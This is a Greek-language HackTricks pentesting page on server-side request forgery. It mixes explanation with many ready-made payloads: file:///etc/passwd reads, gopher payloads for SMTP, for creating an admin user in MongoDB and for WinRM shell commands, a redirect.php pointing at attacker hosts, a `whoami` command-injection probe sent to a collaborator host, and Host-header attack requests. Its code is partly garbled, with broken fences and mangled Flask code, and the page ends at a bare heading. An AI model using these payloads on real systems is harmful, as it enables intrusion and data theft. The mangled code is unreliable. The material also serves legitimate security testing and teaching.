hacktricks/pentesting-web/ssrf-server-side-request-forgery
2024-04-06 18:31:47 +00:00
..
cloud-ssrf.md GitBook: No commit message 2024-04-06 18:31:47 +00:00
README.md GitBook: No commit message 2024-04-06 18:31:47 +00:00
ssrf-vulnerable-platforms.md Translated to Greek 2024-02-10 22:40:18 +00:00
url-format-bypass.md GitBook: No commit message 2024-04-06 18:31:47 +00:00

SSRF (Server Side Request Forgery)


Χρησιμοποιήστε το Trickest για εύκολη δημιουργία και αυτοματοποίηση ροών εργασίας με τα πιο προηγμένα εργαλεία της κοινότητας.
Αποκτήστε πρόσβαση σήμερα:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Άλλοι τρόποι υποστήριξης του HackTricks:

Βασικές Πληροφορίες

Μια ευπάθεια Server-side Request Forgery (SSRF) συμβαίνει όταν ένας εισβολέας διαμορφώνει μια εφαρμογή στην πλευρά του διακομιστή για να κάνει HTTP αιτήσεις σε έναν τομέα της επιλογής του. Αυτή η ευπάθεια εκθέτει τον διακομιστή σε αυθαίρετες εξωτερικές αιτήσεις που κατευθύνονται από τον εισβολέα.

Καταγραφή SSRF

Το πρώτο πράγμα που πρέπει να κάνετε είναι να καταγράψετε μια αλληλεπίδραση SSRF που δημιουργήθηκε από εσάς. Για να καταγράψετε μια αλληλεπίδραση HTTP ή DNS μπορείτε να χρησιμοποιήσετε εργαλεία όπως:

Παράκαμψη Λευκών Λιστών Τομέων

Συνήθως θα διαπιστώσετε ότι το SSRF λειτουργεί μόνο σε συγκεκριμένους λευκούς τομείς ή URL. Στην ακόλουθη σελίδα έχετε μια συλλογή τεχνικών για να προσπαθήσετε να παρακάμψετε αυτήν τη λευκή λίστα:

{% content-ref url="url-format-bypass.md" %} url-format-bypass.md {% endcontent-ref %}

Παράκαμψη μέσω ανοιχτής ανακατεύθυνσης

Αν ο διακομιστής είναι σωστά προστατευμένος, μπορείτε να παρακάμψετε όλους τους περιορισμούς εκμεταλλευόμενοι μια Ανοιχτή Ανακατεύθυνση μέσα στην ιστοσελίδα. Επειδή η ιστοσελίδα θα επιτρέψει SSRF στον ίδιο τομέα και πιθανότατα θα ακολουθήσει ανακατευθύνσεις, μπορείτε να εκμεταλλευτείτε την Ανοιχτή Ανακατεύθυνση για να κάνετε τον διακομιστή να έχει πρόσβαση σε οποιοδήποτε εσωτερικό πόρο.
Διαβάστε περισσότερα εδώ: https://portswigger.net/web-security/ssrf

Πρωτόκολλα

  • file://
  • Το σχήμα URL file:// αναφέρεται, καθοδηγώντας απευθείας στο /etc/passwd: file:///etc/passwd
  • dict://
  • Το σχήμα URL DICT περιγράφεται ως χρησιμοποιούμενο για την πρόσβαση σε ορισμούς ή λίστες λέξεων μέσω του πρωτοκόλλου DICT. Ένα παράδειγμα δείχνει ένα κατασκευασμένο URL που στοχεύει σε μια συγκεκριμένη λέξη, βάση δεδομένων και αριθμό εγγραφής, καθώς και ένα παράδειγμα ενός σεναρίου PHP που ενδέχεται να καταχρηστείται για να συνδεθεί σε έναν διακομιστή DICT χρησιμοποιώντας διαπιστεύσεις που παρέχονται από τον εισβολέα: dict://<generic_user>;<auth>@<generic_host>:<port>/d:<word>:<database>:<n>
  • SFTP://
  • Αναγνωρίζεται ως πρωτόκολλο για ασφαλή μεταφορά αρχείων μέσω ασφαλούς κελύφους, παρέχεται ένα παράδειγμα που δείχνει πώς ένα σενάριο PHP θα μπορούσε να εκμεταλλευτείται για να συνδεθεί σε ένα κακόβουλο διακομιστή SFTP: url=sftp://generic.com:11111/
  • TFTP://
  • Το Πρωτόκολλο Απλής Μεταφοράς Αρχείων, που λειτουργεί μέσω UDP, αναφέρεται με ένα παράδειγμα ενός σεναρίου PHP σχεδιασμένο για να στείλει αίτημα σε έναν διακομιστή TFTP. Ένα αίτημα TFTP γίνεται στο 'generic.com' στη θύρα '12346' για το αρχείο 'TESTUDPPACKET': ssrf.php?url=tftp://generic.com:12346/TESTUDPPACKET
  • LDAP://
  • Αυτό το τμήμα καλύπτει το Πρωτόκολλο Πρόσβασης στον Κατάλογο Ελαφρύ, τονίζοντας τη χρήση του για τη διαχείριση και πρόσβαση σε κατανεμημένες υπηρεσίες πληροφοριών καταλόγου μέσω δικτύων IP. Επικοινωνήστε με έναν διακομιστή LDAP στο localhost: '%0astats%0aquit' via ssrf.php?url=ldap://localhost:11211/%0astats%0aquit.
  • SMTP
  • Περιγράφεται μια μέθοδος εκμετάλλευσης ευπαθειών SSRF για να αλληλεπιδρά με υπηρεσίες SMTP στο localhost, συμπεριλαμβανομένων βημάτων για την αποκάλυψη εσωτερικών ονομάτων τομέα και περαιτέρω ερευνητικών ενεργειών με βάση αυτές τις πληροφορίες.
From https://twitter.com/har1sec/status/1182255952055164929
1. connect with SSRF on smtp localhost:25
2. from the first line get the internal domain name 220[ http://blabla.internaldomain.com ](https://t.co/Ad49NBb7xy)ESMTP Sendmail
3. search[ http://internaldomain.com ](https://t.co/K0mHR0SPVH)on github, find subdomains
4. connect
  • Παράκαμψη WAF με Curl URL globbing
  • Εάν το SSRF εκτελείται από το curl, το curl έχει μια λειτουργία που ονομάζεται URL globbing που μπορεί να είναι χρήσιμη για την παράκαμψη των WAFs. Για παράδειγμα, σε αυτό το writeup μπορείτε να βρείτε ένα παράδειγμα για διέλευση μονοπατιού μέσω πρωτοκόλλου file:
file:///app/public/{.}./{.}./{app/public/hello.html,flag.txt}
  • Gopher://
  • Συζητείται η δυνατότητα του πρωτοκόλλου Gopher να καθορίζει τη διεύθυνση IP, τη θύρα και τα bytes για την επικοινωνία με τον διακομιστή, μαζί με εργαλεία όπως το Gopherus και το remote-method-guesser για τη δημιουργία φορτίων. Παρουσιάζονται δύο διακριτές χρήσεις:

Gopher://

Χρησιμοποιώντας αυτό το πρωτόκολλο, μπορείτε να καθορίσετε τη διεύθυνση IP, τη θύρα και τα bytes που θέλετε ο διακομιστής να στείλει. Έπειτα, μπορείτε ουσιαστικά να εκμεταλλευτείτε ένα SSRF για να επικοινωνήσετε με οποιονδήποτε διακομιστή TCP (αλλά πρέπει να ξέρετε πώς να επικοινωνήσετε με την υπηρεσία πρώτα).
Ευτυχώς, μπορείτε να χρησιμοποιήσετε το Gopherus για τη δημιουργία φορτίων για διάφορες υπηρεσίες. Επιπλέον, το remote-method-guesser μπορεί να χρησιμοποιηθεί για τη δημιουργία gopher φορτίων για υπηρεσίες Java RMI.

Gopher smtp

ssrf.php?url=gopher://127.0.0.1:25/xHELO%20localhost%250d%250aMAIL%20FROM%3A%3Chacker@site.com%3E%250d%250aRCPT%20TO%3A%3Cvictim@site.com%3E%250d%250aDATA%250d%250aFrom%3A%20%5BHacker%5D%20%3Chacker@site.com%3E%250d%250aTo%3A%20%3Cvictime@site.com%3E%250d%250aDate%3A%20Tue%2C%2015%20Sep%202017%2017%3A20%3A26%20-0400%250d%250aSubject%3A%20AH%20AH%20AH%250d%250a%250d%250aYou%20didn%27t%20say%20the%20magic%20word%20%21%250d%250a%250d%250a%250d%250a.%250d%250aQUIT%250d%250a
will make a request like
HELO localhost
MAIL FROM:<hacker@site.com>
RCPT TO:<victim@site.com>
DATA
From: [Hacker] <hacker@site.com>
To: <victime@site.com>
Date: Tue, 15 Sep 2017 17:20:26 -0400
Subject: Ah Ah AHYou didn't say the magic word !
.
QUIT

Gopher HTTP

#For new lines you can use %0A, %0D%0A
gopher://<server>:8080/_GET / HTTP/1.0%0A%0A
gopher://<server>:8080/_POST%20/x%20HTTP/1.0%0ACookie: eatme%0A%0AI+am+a+post+body

Gopher SMTP - Σύνδεση προς τα πίσω στο 1337

{% code title="redirect.php" %}

<?php
header("Location: gopher://hack3r.site:1337/_SSRF%0ATest!");
?>Now query it.
https://example.com/?q=http://evil.com/redirect.php.

{% endcode %}

Gopher MongoDB -- Δημιουργία χρήστη με όνομα χρήστη=admin με κωδικό πρόσβασης=admin123 και με δικαιώματα=διαχειριστής

# Check: https://brycec.me/posts/dicectf_2023_challenges#unfinished
curl 'gopher://0.0.0.0:27017/_%a0%00%00%00%00%00%00%00%00%00%00%00%dd%0
7%00%00%00%00%00%00%00%8b%00%00%00%02insert%00%06%00%00%00users%00%02$db%00%0a
%00%00%00percetron%00%04documents%00V%00%00%00%030%00N%00%00%00%02username%00%
06%00%00%00admin%00%02password%00%09%00%00%00admin123%00%02permission%00%0e%00
%00%00administrator%00%00%00%00'

SSRF μέσω κεφαλίδας Referrer & Άλλων

Το λογισμικό αναλυτικών στους διακομιστές συχνά καταγράφει την κεφαλίδα Referrer για να παρακολουθεί τους εισερχόμενους συνδέσμους, μια πρακτική που αθέτησε απροσεξία εκθέτοντας τις εφαρμογές σε ευπάθειες Server-Side Request Forgery (SSRF). Αυτό συμβαίνει επειδή τέτοιο λογισμικό μπορεί να επισκεφθεί εξωτερικές διευθύνσεις URL που αναφέρονται στην κεφαλίδα Referrer για να αναλύσει το περιεχόμενο της ιστοσελίδας αναφοράς. Για να ανακαλύψετε αυτές τις ευπάθειες, συνιστάται το πρόσθετο του Burp Suite "Collaborator Everywhere", εκμεταλλευόμενο τον τρόπο με τον οποίο τα εργαλεία αναλυτικών επεξεργάζονται την κεφαλίδα Referer για να εντοπίσουν πιθανές επιφάνειες επίθεσης SSRF.

SSRF μέσω δεδομένων SNI από πιστοποιητικό

Μια λανθασμένη ρύθμιση που θα μπορούσε να επιτρέψει τη σύνδεση με οποιονδήποτε πίσω τελικό μέσω μιας απλής εγκατάστασης επισημαίνεται με ένα παράδειγμα ρύθμισης Nginx:

stream {
server {
listen 443;
resolver 127.0.0.11;
proxy_pass $ssl_preread_server_name:443;
ssl_preread on;
}
}

Σε αυτή τη διαμόρφωση, η τιμή από το πεδίο Server Name Indication (SNI) χρησιμοποιείται απευθείας ως η διεύθυνση του backend. Αυτή η ρύθμιση εκθέτει μια ευπάθεια στο Server-Side Request Forgery (SSRF), η οποία μπορεί να εκμεταλλευτεί απλώς καθορίζοντας την επιθυμητή διεύθυνση IP ή το όνομα τομέα στο πεδίο SNI. Ένα παράδειγμα εκμετάλλευσης για να επιβάλετε μια σύνδεση σε έναν αυθαίρετο backend, όπως το internal.host.com, χρησιμοποιώντας την εντολή openssl, δίνεται παρακάτω:

openssl s_client -connect target.com:443 -servername "internal.host.com" -crlf

Μεταφόρτωση αρχείου Wget

SSRF με Εντολή Εισαγωγής

Μπορεί να αξίζει να δοκιμάσετε ένα φορτίο όπως: url=http://3iufty2q67fuy2dew3yug4f34.burpcollaborator.net?`whoami`

Απεικόνιση PDFs

Αν η ιστοσελίδα δημιουργεί αυτόματα ένα PDF με κάποιες πληροφορίες που έχετε παράσχει, μπορείτε να εισάγετε κάποιον JS που θα εκτελεστεί από τον ίδιο τον δημιουργό PDF (τον διακομιστή) κατά τη δημιουργία του PDF και θα μπορείτε να καταχραστείτε ένα SSRF. Βρείτε περισσότερες πληροφορίες εδώ.

Από SSRF σε DoS

Δημιουργήστε αρκετές συνεδρίες και δοκιμάστε να κατεβάσετε βαριά αρχεία εκμεταλλευόμενοι το SSRF από τις συνεδρίες.

SSRF Συναρτήσεις PHP

{% content-ref url="../../network-services-pentesting/pentesting-web/php-tricks-esp/php-ssrf.md" %} php-ssrf.md {% endcontent-ref %}

Ανακατεύθυνση SSRF σε Gopher

Για μερικές εκμεταλλεύσεις ενδέχεται να χρειαστεί να στείλετε μια ανακατεύθυνση απάντησης (ενδεχομένως για χρήση διαφορετικού πρωτοκόλλου όπως gopher). Εδώ έχετε διαφορετικούς κώδικες Python για να ανταποκριθείτε με μια ανακατεύθυνση:

# First run: openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes
from http.server import HTTPServer, BaseHTTPRequestHandler
import ssl

class MainHandler(BaseHTTPRequestHandler):
def do_GET(self):
print("GET")
self.send_response(301)
```html
self.send_header("Location", "gopher://127.0.0.1:5985/_%50%4f%53%54%20%2f%77%73%6d%61%6e%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20%31%30%2e%31%30%2e%31%31%2e%31%31%37%3a%35%39%38%36%0d%0a%55%73%65%72%2d%41%67%65%6e%74%3a%20%70%79%74%68%6f%6e%2d%72%65%71%75%65%73%74%73%2f%32%2e%32%35%2e%31%0d%0a%41%63%63%65%70%74%2d%45%6e%63%6f%64%69%6e%67%3a%20%67%7a%69%70%2c%20%64%65%66%6c%61%74%65%0d%0a%41%63%63%65%70%74%3a%20%2a%2f%2a%0d%0a%43%6f%6e%6e%65%63%74%69%6f%6e%3a%20%63%6c%6f%73%65%0d%0a%43%6f%6e%74%65%6e%74%2d%54%79%70%65%3a%20%61%70%70%6c%69%63%61%74%69%6f%6e%2f%73%6f%61%70%2b%78%6d%6c%3b%63%68%61%72%73%65%74%3d%55%54%46%2d%38%0d%0a%43%6f%6e%74%65%6e%74%2d%4c%65%6e%67%74%68%3a%20%31%37%32%38%0d%0a%0d%0a%3c%73%3a%45%6e%76%65%6c%6f%70%65%20%78%6d%6c%6e%73%3a%73%3d%22%68%74%74%70%3a%2f%2f%77%77%77%2e%77%33%2e%6f%72%67%2f%32%30%30%33%2f%30%35%2f%73%6f%61%70%2d%65%6e%76%65%6c%6f%70%65%22%20%78%6d%6c%6e%73%3a%61%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%38%2f%61%64%64%72%65%73%73%69%6e%67%22%20%78%6d%6c%6e%73%3a%68%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%6d%69%63%72%6f%73%6f%66%74%2e%63%6f%6d%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%69%6e%64%6f%77%73%2f%73%68%65%6c%6c%22%20%78%6d%6c%6e%73%3a%6e%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%39%2f%65%6e%75%6d%65%72%61%74%69%6f%6e%22%20%78%6d%6c%6e%73%3a%70%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%6d%69%63%72%6f%73%6f%66%74%2e%63%6f%6d%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%73%6d%61%6e%2e%78%73%64%22%20%78%6d%6c%6e%73%3a%77%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%73%6d%61%6e%2e%78%73%64%22%20%78%6d%6c%6e%73%3a%78%73%69%3d%22%68%74%74%70%3a%2f%2f%77%77%77%2e%77%33%2e%6f%72%67%2f%32%30%30%31%2f%58%4d%4c%53%63%68%65%6d%61%22%3e%0a%20%20%20%3c%73%3a%48%65%61%64%65%72%3e%0a%20%20%20%20%20%20%3c%61%3a%54%6f%3e%48%54%54%50%3a%2f%2f%31%39%32%2e%31%36%38%2e%31%2e%31%3a%35%39%38%36%2f%77%73%6d%61%6e%2f%3c%2f%61%3a%54%6f%3e%0a%20%20%20%20%20%20%3c%77%3a%52%65%73%6f%75%72%63%65%55%52%49%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%3c%2f%77%3a%52%65%73%6f%75%72%63%65%55%52%49%3e%0a%20%20%20%20%20%20%3c%61%3a%52%65%70%6c%79%54%6f%3e%0a%20%20%20%20%20%20%20%20%20%3c%61%3a%41%64%64%72%65%73%73%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%38%2f%61%64%64%72%65%73%73%69%6e%67%2f%72%6f%6c%65%2f%61%6e%6f%6e%79%6d%6f%75%73%3c%2f%61%3a%41%64%64%72%65%73%73%3e%0a%20%20%20%20%20%20%3c%2f%61%3a%52%65%70%6c%79%54%6f%3e%0a%20%20%20%20%20%20%3c%61%3a%41%63%74%69%6f%6e%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%2f%45%78%65%63%75%74%65%53%68%65%6c%6c%43%6f%6d%6d%61%6e%64%3c%2f%61%3a%41%63%74%69%6f%6e%3e%0a%20%20%20%20%20%20%3c%77%3a%4d%61%78%45%6e%76%65%6c%6f%70%65%53%69%7a%65%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%31%30%32%34%30%30%3c%2f%77%3a%4d%61%78%45%6e%76%65%6c%6f%70%65%53%69%7a%65%3e%0a%20%20%20%20%20%20%3c%61%3a%4d%65%73%73%61%67%65%49%44%3e%75%75%69%64%3a%30%41%42%35%38%30%38%37%2d%43%32%43%33%2d%30%30%30%35%2d%30%30%30%30%2d%30%30%30%30%30%30%30%31%30%30%30%30%3c%2f%61%3a%4d%65%73%73%61%67%65%49%44%3e%0a%20%20
```python
self.end_headers()

httpd = HTTPServer(('0.0.0.0', 443), MainHandler)
httpd.socket = ssl.wrap_socket(httpd.socket, certfile="server.pem", server_side=True)
httpd.serve_forever()
from flask import Flask, redirect
from urllib.parse import quote
app = Flask(__name__)

@app.route('/')
def root():
return redirect('gopher://127.0.0.1:5985/_%50%4f%53%54%20%2f%77%73%6d%61%6e%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20', code=301)

if __name__ == "__main__":
app.run(ssl_context='adhoc', debug=True, host="0.0.0.0", port=8443)


Χρησιμοποιήστε το Trickest για να κατασκευάσετε εύκολα και να αυτοματοποιήσετε ροές εργασίας με τα πιο προηγμένα εργαλεία της παγκόσμιας κοινότητας.
Αποκτήστε πρόσβαση σήμερα:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

Εσφαλμένα ρυθμισμένα πρόξι

Κόλπα από αυτήν την ανάρτηση.

Flask

Ευάλωτος κώδικας προξιός Flask

```python from flask import Flask from requests import get

app = Flask('main') SITE_NAME = 'https://google.com'

@app.route('/', defaults={'path': ''}) @app.route('/path:path')

def proxy(path): return get(f'{SITE_NAME}{path}').content

if name == "main": app.run(threaded=False)

</details>

Το Flask επιτρέπει τη χρήση του **`@`** ως αρχικού χαρακτήρα, ο οποίος επιτρέπει να γίνει το **αρχικό όνομα κεντρικού υπολογιστή το όνομα χρήστη** και να ενσωματωθεί ένα νέο. Αίτημα επίθεσης:
```http
GET @evildomain.com/ HTTP/1.1
Host: target.com
Connection: close

Spring Boot

Ευάλωτος κώδικας:

Ανακαλύφθηκε ότι είναι δυνατόν να ξεκινήσει το μονοπάτι ενός αιτήματος με τον χαρακτήρα ; που επιτρέπει στη συνέχεια τη χρήση του @ και την ενσωμάτωση ενός νέου κεντρικού υπολογιστή για πρόσβαση. Αίτημα επίθεσης:

GET ;@evil.com/url HTTP/1.1
Host: target.com
Connection: close

Ενσωματωμένος Διακομιστής Ιστού PHP